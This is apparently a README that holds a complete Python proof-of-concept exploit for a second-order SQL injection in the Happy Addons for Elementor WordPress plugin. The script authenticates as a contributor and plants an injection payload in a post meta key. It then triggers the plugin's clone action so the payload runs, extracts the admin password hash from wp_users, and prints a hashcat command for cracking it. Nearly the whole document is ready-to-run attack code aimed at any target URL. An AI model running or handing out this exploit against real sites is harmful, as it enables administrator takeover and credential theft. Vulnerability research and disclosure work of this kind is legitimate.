README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-68999 - Happy Addons for Elementor <= 3.20.4
Authenticated (Contributor+) Second-Order SQL Injection
Author : iwd (Alaaeddine Knani)
Requires: pip install requests
"""
import re
import sys
import requests
R = "\033[31m"
G = "\033[32m"
B = "\033[34m"
Y = "\033[33m"
W = "\033[0m"
def log(m): print(f"{B}[*]{W} {m}")
def ok(m): print(f"{G}[+]{W} {m}")
def warn(m): print(f"{Y}[!]{W} {m}")
def fail(m): print(f"{R}[-]{W} {m}"); sys.exit(1)
def banner():
print(f"""
{R} CVE-2025-68999{W} - Happy Addons for Elementor
Second-Order SQL Injection / Contributor+
author: iwd
""")
def exploit(target, username, password):
target = target.rstrip("/")
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
# 1. Authenticate
log(f"authenticating as {username} ...")
s.get(f"{target}/wp-login.php", timeout=10)
r = s.post(f"{target}/wp-login.php", data={
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
}, allow_redirects=True, timeout=10)
if not any("wordpress_logged_in" in c.name for c in s.cookies):
fail("login failed - check credentials or 2FA")
ok("authenticated")
# 2. Get post editor - extract nonces
log("fetching post editor ...")
r = s.get(f"{target}/wp-admin/post-new.php", timeout=10)
post_nonce = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', r.text)
meta_nonce = re.search(r'"_ajax_nonce-add-meta"\s+value="([a-f0-9]+)"', r.text)
if not post_nonce:
fail("could not extract _wpnonce - does this account have edit_posts?")
post_nonce = post_nonce.group(1)
meta_nonce = meta_nonce.group(1) if meta_nonce else post_nonce
# 3. Store the malicious meta_key
#
# duplicate_meta_entries() later reads this key back and concatenates it
# directly into the raw INSERT query without escaping.
# The payload breaks out of the current VALUES tuple and injects a second
# row whose meta_value is the result of a subquery.
#
log("saving draft with payload as meta_key ...")
payload = (
"x'), (0, 'leaked_hash', "
"(SELECT user_pass FROM wp_users WHERE user_login='admin')), "
"(0, 'z', 'z"
)
r = s.post(f"{target}/wp-admin/post.php", data={
"action": "editpost",
"post_type": "post",
"post_status": "draft",
"post_title": "test",
"_wpnonce": post_nonce,
"_ajax_nonce-add-meta": meta_nonce,
"metakeyinput": payload,
"metavalue": "x",
"addmeta": "1",
}, allow_redirects=True, timeout=10)
post_id = re.search(r"post=(\d+)", r.url) or re.search(r"post=(\d+)", r.text)
if not post_id:
fail("could not extract post ID after save")
post_id = post_id.group(1)
ok(f"post {post_id} saved - payload is now in wp_postmeta")
# 4. Grab clone nonce from the posts list
log("fetching clone nonce ...")
r = s.get(f"{target}/wp-admin/edit.php", timeout=10)
nonce = re.search(
rf"ha_duplicate_thing&post_id={post_id}&_wpnonce=([a-f0-9]+)",
r.text
)
if not nonce:
fail("clone nonce not found - is Happy Addons active and Happy Clone enabled?")
nonce = nonce.group(1)
ok(f"nonce: {nonce}")
# 5. Fire the clone
# duplicate_meta_entries() reads the stored meta_key and concatenates
# it into the raw INSERT query - injection executes here
log(f"triggering Happy Clone on post {post_id} ...")
s.get(f"{target}/wp-admin/admin.php", params={
"action": "ha_duplicate_thing",
"post_id": post_id,
"_wpnonce": nonce,
}, allow_redirects=True, timeout=10)
ok("clone fired - injection executed")
# 6. Read the extracted hash from the cloned post
log("reading leaked_hash from cloned post ...")
r = s.get(f"{target}/wp-admin/edit.php", timeout=10)
all_ids = list(dict.fromkeys(re.findall(r"post=(\d+)", r.text)))
clone_id = next((i for i in all_ids if i != post_id), None)
if not clone_id:
fail("could not find cloned post ID")
r = s.get(f"{target}/wp-admin/post.php",
params={"post": clone_id, "action": "edit"}, timeout=10)
h = None
idx = r.text.find("leaked_hash")
if idx != -1:
h = re.search(r'value="(\$P\$[^"]+)"', r.text[idx:idx + 800])
if not h:
h = re.search(r'(\$P\$[A-Za-z0-9./]{31})', r.text)
if h:
pw_hash = h.group(1)
ok(f"admin hash: {G}{pw_hash}{W}")
with open("hash.txt", "w") as f:
f.write(pw_hash + "\n")
ok("saved to hash.txt")
print(f"\n crack with: hashcat -m 400 hash.txt rockyou.txt\n")
else:
warn("hash not in response - check manually:")
warn(f" {target}/wp-admin/post.php?post={clone_id}&action=edit")
warn("look for a custom field named 'leaked_hash'")
if __name__ == "__main__":
banner()
if len(sys.argv) != 4:
print(f" usage: python3 poc.py <target> <username> <password>")
print(f" example: python3 poc.py https://target.com contributor p4ss\n")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3])